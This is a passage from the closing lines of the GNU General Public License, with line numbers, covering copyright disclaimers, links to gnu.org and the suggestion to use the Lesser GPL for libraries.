665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | <http://www.gnu.org/licenses/>.
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | <http://www.gnu.org/philosophy/why-not-lgpl.html>.
675 | 


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